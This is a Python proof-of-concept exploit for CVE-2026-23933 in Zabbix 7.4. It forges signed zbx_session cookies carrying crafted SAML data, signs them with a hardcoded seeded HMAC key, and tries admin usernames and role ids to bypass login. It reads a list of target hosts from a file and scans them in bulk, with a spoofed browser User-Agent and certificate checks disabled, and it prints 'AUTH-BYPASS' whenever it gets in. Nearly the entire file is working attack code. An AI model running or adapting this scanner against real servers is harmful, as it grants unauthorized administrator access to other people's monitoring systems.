"""CVE-2026-23933 - forged zbx_session test (Zabbix 7.4 with seeded session key + SAML).

Cookie: base64(json({"sessionid":X,"saml_data":{...},"sign":HMAC(key,json)}))
index_sso.php trusts saml_data when the inner sign matches and calls
CUser::loginByUsername(saml_data.username_attribute) -> authenticated session.
"""
import asyncio
import base64
import hashlib
import hmac
import json
import sys
import urllib.parse

import aiohttp

KEY = b"0e1e3fb9846cbe4e079a22d38b2db33e"
UA = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/131.0 Safari/537.36"}
API = {"jsonrpc": "2.0", "method": "apiinfo.version", "params": {}, "id": 1}
USERS = ["Admin", "admin", "Administrator", "guest"]
ROLES = [3, 2]          # Super admin role, Admin role (fresh install ids)


def j(d):
    return json.dumps(d, separators=(",", ":"))


def sgn(data):
    return hmac.new(KEY, data.encode(), hashlib.sha256).hexdigest()


def cookie_for(sessionid, saml_data):
    saml_data = dict(saml_data)
    saml_data["sign"] = sgn(j(saml_data))
    payload = {"sessionid": sessionid, "saml_data": saml_data}
    payload["sign"] = sgn(j(payload))
    return urllib.parse.quote(base64.b64encode(j(payload).encode()).decode(), safe="")


def base_url(entry):
    """entry: ip[:port][/path] -> (scheme, base)"""
    path = ""
    if "/" in entry:
        host, path = entry.split("/", 1)
        path = "/" + path.strip("/") + "/" if path.strip("/") else "/"
    else:
        host = entry
    port = 443
    if ":" in host:
        host, p = host.rsplit(":", 1)
        port = int(p)
    scheme = "https" if port == 443 else "http"
    return scheme, "%s://%s:%d%s" % (scheme, host, port, path)


async def fetch(sess, url, cookie=None, redirect=False):
    hdr = {"Cookie": "zbx_session=" + cookie} if cookie else {}
    async with sess.get(url, ssl=False, headers=hdr, allow_redirects=redirect) as r:
        body = (await r.content.read(80000)).decode("utf-8", "replace")
        return r.status, dict(r.headers), body


async def check_host(sess, entry):
    scheme, base = base_url(entry)
    ver = "-"
    try:
        async with sess.post(base + "api_jsonrpc.php", json=API, ssl=False) as r:
            if r.status == 200:
                ver = json.loads(await r.content.read(400)).get("result", "-")
    except Exception:
        pass
    sid = hashlib.sha256(entry.encode()).hexdigest()[:32]
    banner = []
    won = False
    for user in USERS:
        for role in [None] + ROLES:
            saml = {"username_attribute": user, "nameid": user, "nameid_format": "",
                    "nameid_name_qualifier": "", "nameid_sp_name_qualifier": "",
                    "session_index": "_poc", "provisioned_user": []}
            if role is not None:
                saml["provisioned_user"] = {"roleid": str(role), "username": user}
            ck = cookie_for(sid, saml)
            try:
                st, hd, body = await fetch(sess, base + "index_sso.php", ck)
                st2, hd2, body2 = await fetch(sess, base + "zabbix.php?action=dashboard.view", ck, True)
            except Exception as e:
                banner.append("%s: err %s" % (user, type(e).__name__))
                continue
            authed = ("Sign out" in body2) or ("user.logout" in body2)
            msg = ""
            for kw in ("Authentication failed", "not logged in", "Session initialization error",
                       "Cannot login", "GUI access disabled"):
                if kw in body2:
                    msg = kw
                    break
            banner.append("%s/role=%s -> sso=%d dash=%d authed=%s %s" % (user, role, st, st2, authed, msg))
            if authed:
                won = True
                print("  [WIN] %s user=%s role=%s ver=%s" % (entry, user, role, ver))
                print("        body markers: %s" % [m for m in ("Sign out", "Administration") if m in body2])
                break
        if won:
            break
    print("%-28s ver=%-8s %s" % (entry, ver, "AUTH-BYPASS" if won else "no access"))
    for line in banner[:4]:
        print("    ", line)
    return won


async def main():
    entries = [l.strip() for l in open(sys.argv[1]) if l.strip()]
    to = aiohttp.ClientTimeout(total=25, connect=6, sock_read=20)
    async with aiohttp.ClientSession(timeout=to, headers=UA,
                                     connector=aiohttp.TCPConnector(limit=0, ssl=False)) as s:
        for e in entries:
            try:
                await check_host(s, e)
            except Exception as ex:
                print(e, "-> err", type(ex).__name__, ex)


asyncio.run(main())
